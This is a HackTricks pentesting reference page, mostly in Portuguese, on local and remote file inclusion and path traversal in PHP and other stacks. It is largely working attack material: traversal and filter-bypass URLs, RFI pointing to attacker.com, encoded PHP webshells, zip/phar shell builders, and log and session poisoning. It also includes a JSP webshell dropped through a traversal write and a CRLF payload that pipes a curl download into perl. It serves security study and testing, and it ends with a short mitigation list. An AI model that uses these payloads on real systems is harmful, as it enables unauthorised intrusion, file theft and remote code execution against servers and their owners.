37 KiB
Raw Blame History

File Inclusion/Path traversal

{{#include ../../banners/hacktricks-training.md}}

File Inclusion

Remote File Inclusion (RFI): O arquivo é carregado a partir de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isto está desativado por padrão (allow_url_include).
Local File Inclusion (LFI): O servidor carrega um arquivo local.

A vulnerabilidade ocorre quando o usuário consegue controlar de alguma forma qual arquivo será carregado pelo servidor.

Funções PHP vulneráveis: require, require_once, include, include_once

Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap

Blind - Interessantes - LFI2RCE arquivos

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Misturando várias listas LFI de *nix e adicionando mais caminhos, eu criei esta:

{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt {{#endref}}

Tente também trocar / por \
Tente também adicionar ../../../../../

Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada here

Windows

Mescla de diferentes wordlists:

{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt {{#endref}}

Tente também trocar / por \
Tente também remover C:/ e adicionar ../../../../../

Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada here

OS X

Consulte a lista LFI de Linux.

Basic LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences removidos não recursivamente

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass a adição de caracteres extras ao final da string fornecida (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Isso está corrigido desde o PHP 5.4

Codificação

Você pode usar codificações não padrão, como double URL encode (e outras):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

A partir de uma pasta existente

Talvez o back-end esteja verificando o caminho da pasta:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorando Diretórios do Sistema de Arquivos em um Servidor

O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para alcançar isso:

  1. Determinar Profundidade do Diretório: Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo /etc/passwd (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: Anexe o nome da pasta suspeita (por exemplo, private) ao URL e, em seguida, navegue de volta para /etc/passwd. O nível adicional de diretório requer incrementar a profundidade em uma unidade:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretar os resultados: A resposta do servidor indica se a pasta existe:
  • Erro / Sem saída: A pasta private provavelmente não existe no local especificado.
  • Conteúdo de /etc/passwd: A presença da pasta private é confirmada.
  1. Exploração recursiva: Pastas descobertas podem ser investigadas mais a fundo para subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).

Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se /var/www/ contém um diretório private (assumindo que o diretório atual está em uma profundidade de 3), use:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que anexam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é construir um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.

Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ são tratados como o mesmo caminho.
  • Quando os últimos 6 caracteres são passwd, adicionar um / (tornando passwd/) não altera o arquivo alvo.
  • De forma semelhante, se .php é anexado a um caminho de arquivo (como shellcode.php), adicionar um /. no final não alterará o arquivo acessado.

Os exemplos fornecidos demonstram como utilizar path truncation para acessar /etc/passwd, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Nesses cenários, o número de traversals necessários pode ser em torno de 2027, mas esse número pode variar com base na configuração do servidor.

  • Usando Dot Segments and Additional Characters: Sequências de traversal (../) combinadas com segmentos adicionais de ponto e caracteres podem ser usadas para navegar no sistema de arquivos, efetivamente ignorando strings anexadas pelo servidor.
  • Determining the Required Number of Traversals: Por tentativa e erro, é possível encontrar o número preciso de sequências ../ necessárias para navegar até o diretório raiz e então para /etc/passwd, garantindo que quaisquer strings anexadas (como .php) sejam anuladas, mas o caminho desejado (/etc/passwd) permaneça intacto.
  • Starting with a Fake Directory: É prática comum começar o caminho com um diretório inexistente (como a/). Essa técnica é usada como medida de precaução ou para satisfazer os requisitos da lógica de parsing de caminhos do servidor.

When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.

This vulnerability was corrected in PHP 5.3.

Truques para contornar filtros

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

No php isso está desabilitado por padrão porque allow_url_include é Off. Isso precisa estar On para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Se por algum motivo allow_url_include estiver On, mas o PHP estiver filtrando o acesso a páginas externas, de acordo com este post, você pode usar, por exemplo, o data protocol com base64 para decodificar um código PHP b64 e egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

No código anterior, o +.txt final foi adicionado porque o atacante precisava de uma string que terminasse em .txt, então a string termina com isso e, após o b64 decode, essa parte retornará apenas lixo e o código PHP real será incluído (e, portanto, executado).

Outro exemplo não usando o protocolo php:// seria:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Elemento root em Python

Em Python, em um código como este:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Se o usuário passar um caminho absoluto para file_name, o caminho anterior é simplesmente removido:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

É o comportamento intencional de acordo com the docs:

Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente de caminho absoluto.

Java Listar Diretórios

Parece que se você tiver um Path Traversal em Java e você pedir por um diretório em vez de um arquivo, uma listagem do diretório é retornada. Isso não acontecerá em outras linguagens (afaik).

Top 25 parâmetros

Aqui está a lista dos 25 principais parâmetros que podem ser vulneráveis a local file inclusion (LFI) (de link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI usando PHP wrappers & protocols

php://filter

PHP filters permitem realizar operações básicas de modificação nos dados antes que sejam lidos ou escritos. Existem 5 categorias de filtros:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Remove tags dos dados (tudo entre os caracteres "<" e ">")
  • Note que este filtro desapareceu nas versões modernas do PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforma para uma codificação diferente(convert.iconv.<input_enc>.<output_enc>). Para obter a lista de todas as codificações suportadas, execute no console: iconv -l

Warning

Abusando do filtro de conversão convert.iconv.* você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer com que uma função como include processe texto arbitrário. Para mais informações, veja LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Comprime o conteúdo (útil se exfiltrando muita informação)
  • zlib.inflate: Descomprime os dados
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • Outros filtros
  • Ao executar em php var_dump(stream_get_filters()); você pode encontrar um par de filtros inesperados:
  • consumed
  • dechunk: reverte HTTP chunked encoding
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

A parte "php://filter" não diferencia maiúsculas de minúsculas

Usando php filters como oracle para ler arquivos arbitrários

In this post é proposta uma técnica para ler um arquivo local sem que a saída seja devolvida pelo servidor. Essa técnica baseia-se em uma boolean exfiltration of the file (char by char) using php filters como oracle. Isso porque php filters podem ser usados para aumentar um texto o suficiente para fazer o php lançar uma exceção.

No post original você encontra uma explicação detalhada da técnica, mas aqui vai um resumo rápido:

  • Use o codec UCS-4LE para deixar o caractere inicial do texto no começo e fazer o tamanho da string crescer exponencialmente.
  • Isso será usado para gerar um text so big when the initial letter is guessed correctly que fará o php disparar um erro.
  • O filtro dechunk vai remover tudo se o primeiro char não for hexadecimal, então podemos saber se o primeiro char é hex.
  • Isso, combinado com o anterior (e other filters dependendo da letra testada), permitirá advinhar uma letra no início do texto observando quando aplicamos transformações suficientes para que ela deixe de ser um caractere hexadecimal. Porque se for hex, dechunk não a deletará e a bomba inicial fará o php gerar um erro.
  • O codec convert.iconv.UNICODE.CP930 transforma cada letra na seguinte (então após esse codec: a -> b). Isso nos permite descobrir se a primeira letra é um a, por exemplo, porque se aplicarmos 6 vezes esse codec a->b->c->d->e->f->g a letra deixa de ser um caractere hexadecimal; portanto dechunk não a deleta e o php error é acionado porque se multiplica com a bomba inicial.
  • Usando outras transformações como rot13 no início é possível leak outros chars como n, o, p, q, r (e outros codecs podem ser usados para mover outras letras para a faixa hex).
  • Quando o char inicial é um número é necessário fazer base64 encode dele e leak as 2 primeiras letras para leak o número.
  • The final problem is to see how to leak more than the initial letter. Usando filtros de ordem de memória como convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE é possível trocar a ordem dos chars e trazer para a primeira posição outras letras do texto.
  • E para conseguir further data a ideia é gerar 2 bytes de junk data no início com convert.iconv.UTF16.UTF16, aplicar UCS-4LE para fazê-los pivot with the next 2 bytes, e delete the data until the junk data (isso removerá os primeiros 2 bytes do texto inicial). Continue fazendo isso até alcançar o bit desejado para leak.

No post também foi leaked uma ferramenta para automatizar isso: php_filters_chain_oracle_exploit.

php://fd

Esse wrapper permite acessar file descriptors que o processo tem abertos. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Você também pode usar php://stdin, php://stdout and php://stderr para acessar os file descriptors 0, 1 and 2 respectivamente (não tenho certeza de como isso poderia ser útil em um attack)

zip:// and rar://

Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.
Para poder abusar do protocolo rar ele precisa ser ativado especificamente.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Observe que este protocolo é restrito pelas configurações do php allow_url_open e allow_url_include

expect://

Expect precisa estar ativado. Você pode executar código usando isto:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Especifique seu payload nos parâmetros POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Um arquivo .phar pode ser utilizado para executar código PHP quando uma aplicação web utiliza funções como include para carregamento de arquivos. O trecho de código PHP fornecido abaixo demonstra a criação de um arquivo .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Para compilar o arquivo .phar, o seguinte comando deve ser executado:

php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

Em casos onde o LFI apenas realiza leitura de arquivos sem executar o código PHP contido, através de funções como file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), or filesize(), a exploração de uma vulnerabilidade de deserialização pode ser tentada. Essa vulnerabilidade está associada à leitura de arquivos usando o protocolo phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Guia de Exploração de Deserialização em Phar

{{#ref}} phar-deserialization.md {{#endref}}

CVE-2024-2961

Foi possível abusar de any arbitrary file read from PHP that supports php filters para obter uma RCE. A descrição detalhada pode ser found in this post.
Muito rápido resumo: um overflow de 3 bytes no heap do PHP foi abusado para alterar a cadeia de free chunks de um tamanho específico a fim de poder escrever qualquer coisa em qualquer endereço, então um hook foi adicionado para chamar system.
Foi possível alocar chunks de tamanhos específicos abusando mais php filters.

Mais protocolos

Consulte mais protocols to include here:

  • php://memory and php://temp — Escreve em memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de file inclusion)
  • file:// — Acessando o sistema de arquivos local
  • http:// — Acessando URLs HTTP(s)
  • ftp:// — Acessando URLs FTP(s)
  • zlib:// — Fluxos de compressão
  • glob:// — Encontra nomes de caminhos que correspondem a um padrão (Não retorna nada imprimível, então não é realmente útil aqui)
  • ssh2:// — Secure Shell 2
  • ogg:// — Fluxos de áudio (Não é útil para ler arquivos arbitrários)

LFI via PHP's 'assert'

Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

Embora isso vise impedir traversal, cria inadvertidamente um vetor para code injection. Para explorar isso para leitura do conteúdo de arquivos, um attacker poderia usar:

' and die(highlight_file('/etc/passwd')) or '

De forma similar, para executar comandos arbitrários do sistema, pode-se usar:

' and die(system("id")) or '

É importante URL-encode these payloads.

PHP Blind Path Traversal

Warning

Esta técnica é relevante em casos onde você controla o caminho do arquivo de uma função PHP que irá acessar um arquivo mas você não verá o conteúdo do arquivo (como uma chamada simples para file()) porque o conteúdo não é mostrado.

Em este post incrível é explicado como um blind path traversal pode ser abusado via PHP filter para exfiltrate the content of a file via an error oracle.

Em resumo, a técnica usa a codificação "UCS-4LE" para tornar o conteúdo de um arquivo tão grande que a função PHP que abre o arquivo disparará um erro.

Então, para leak o primeiro char o filter dechunk é usado junto com outros como base64 ou rot13 e, finalmente, os filtros convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para colocar outros chars no início e leak them.

Funções que podem ser vulneráveis: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Para os detalhes técnicos confira o post mencionado!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, .. segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.

Fluxo típico de exploração:

  • Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Determine web-exposed directories. Common examples:
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
  • Browse to the dropped payload and execute commands.

Notas:

  • The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
  • Em stacks Java, essas escritas de arquivo são frequentemente implementadas com simples concatenação de File/Paths. A falta de canonicalisation/allow-listing é a falha central.

Exemplo genérico estilo XML/JMF (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Mitigações que derrotam essa classe de bugs:

  • Resolva para um caminho canônico e garanta que ele seja descendente de um diretório base allow-listed.
  • Rejeite qualquer caminho contendo .., raízes absolutas, ou letras de unidade; prefira nomes de arquivo gerados.
  • Execute o writer como uma conta com poucos privilégios e segregue os diretórios de escrita das raízes servidas.

Remote File Inclusion

Explicado anteriormente, siga este link.

Via Apache/Nginx log file

Se o servidor Apache ou Nginx estiver vulnerável a LFI na função include você pode tentar acessar /var/log/apache2/access.log ou /var/log/nginx/access.log, inserir no user agent ou em um GET parameter um php shell como <?php system($_GET['c']); ?> e incluir esse arquivo

Warning

Observe que se você usar aspas duplas para o shell em vez de aspas simples, as aspas duplas serão modificadas para a string "quote;", o PHP gerará um erro ali e nada mais será executado.

Além disso, certifique-se de escrever corretamente o payload ou o PHP dará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade.

Isto também pode ser feito em outros logs, mas cuidado, o código dentro dos logs pode estar URL encoded e isso pode destruir a Shell. O header authorisation "basic" contém "user:password" em Base64 e isso é decodificado dentro dos logs. A PHPShell pode ser inserida dentro desse header.
Outros possíveis caminhos de log:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Envie um e-mail para uma conta interna (user@localhost) contendo seu payload PHP como <?php echo system($_REQUEST["cmd"]); ?> e tente incluir o e-mail do usuário usando um caminho como /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Faça upload de muitas shells (por exemplo: 100)
  2. Inclua http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser brute forced) e $FD o file descriptor (também pode ser brute forced)

Via /proc/self/environ

Como um arquivo de log, envie o payload no User-Agent; ele será refletido dentro do arquivo /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Se você conseguir fazer upload de um arquivo, apenas injete o shell payload nele (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Para manter o arquivo legível, é melhor injetar nos metadados das pictures/doc/pdf

Via upload de arquivo Zip

Faça upload de um arquivo ZIP contendo um PHP shell compactado e acesse:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Através de sessões PHP

Verifique se o site usa sessão PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

No PHP, essas sessões são armazenadas em arquivos /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Defina o cookie para <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use o LFI para incluir o arquivo de sessão do PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Se ssh estiver ativo verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa

Via vsftpd logs

Os logs do servidor FTP vsftpd estão localizados em /var/log/vsftpd.log. No cenário em que exista uma vulnerabilidade Local File Inclusion (LFI) e seja possível acessar um servidor vsftpd exposto, os seguintes passos podem ser considerados:

  1. Injete um payload PHP no campo username durante o processo de login.
  2. Após a injeção, utilize a LFI para recuperar os logs do servidor em /var/log/vsftpd.log.

Via php base64 filter (using base64)

As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (sem arquivo necessário)

This writeup explica que você pode usar php filters para gerar conteúdo arbitrário como saída. O que basicamente significa que você pode gerar código php arbitrário para o include sem precisar escrevê-lo em um arquivo.

{{#ref}} lfi2rce-via-php-filters.md {{#endref}}

Via segmentation fault

Upload um arquivo que será armazenado como temporário em /tmp, então na mesma requisição provoque um segmentation fault, e então o arquivo temporário não será deletado e você poderá procurá-lo.

{{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}}

Via Nginx armazenamento de arquivos temporários

Se você encontrou uma Local File Inclusion e Nginx está rodando na frente do PHP, você talvez consiga obter RCE com a seguinte técnica:

{{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}}

Via PHP_SESSION_UPLOAD_PROGRESS

Se você encontrou uma Local File Inclusion mesmo que você não tenha uma session e session.auto_start esteja Off. Se você fornecer o PHP_SESSION_UPLOAD_PROGRESS em dados multipart POST, o PHP irá ativar a sessão para você. Você pode abusar disso para obter RCE:

{{#ref}} via-php_session_upload_progress.md {{#endref}}

Via temp file uploads in Windows

Se você encontrou uma Local File Inclusion e o servidor está rodando em Windows você pode conseguir RCE:

{{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}}

Via pearcmd.php + URL args

As explained in this post, o script /usr/local/lib/phppearcmd.php existe por padrão em php docker images. Além disso, é possível passar argumentos para o script via URL porque é indicado que se um parâmetro de URL não tiver um =, ele deve ser usado como argumento. Veja também watchTowrs write-up e Orange Tsais “Confusion Attacks”.

The following request create a file in /tmp/hello.php with the content <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

O seguinte abusa de uma CRLF vuln para obter RCE (from here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

Se você encontrou uma Local File Inclusion e um arquivo expondo phpinfo() com file_uploads = on, você pode obter RCE:

{{#ref}} lfi2rce-via-phpinfo.md {{#endref}}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Se você encontrou uma Local File Inclusion e puder exfiltrar o path do arquivo temporário MAS o server está checando se o arquivo a ser incluído tem PHP marks, você pode tentar bypassar essa checagem com esta Race Condition:

{{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}}

Via eternal waiting + bruteforce

Se você puder abusar do LFI para upload temporary files e fazer o server hang a execução do PHP, você poderia então brute force filenames durante horas para encontrar o arquivo temporário:

{{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}}

To Fatal Error

Se você incluir qualquer um dos arquivos /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Você precisa incluir o mesmo uma 2 vezes para lançar esse erro).

Não sei quão útil isso é, mas pode ser.
Mesmo que você cause um PHP Fatal Error, os arquivos temporários do PHP enviados são deletados.

References

{{#file}} EN-Local-File-Inclusion-1.pdf {{#endfile}}

{{#include ../../banners/hacktricks-training.md}}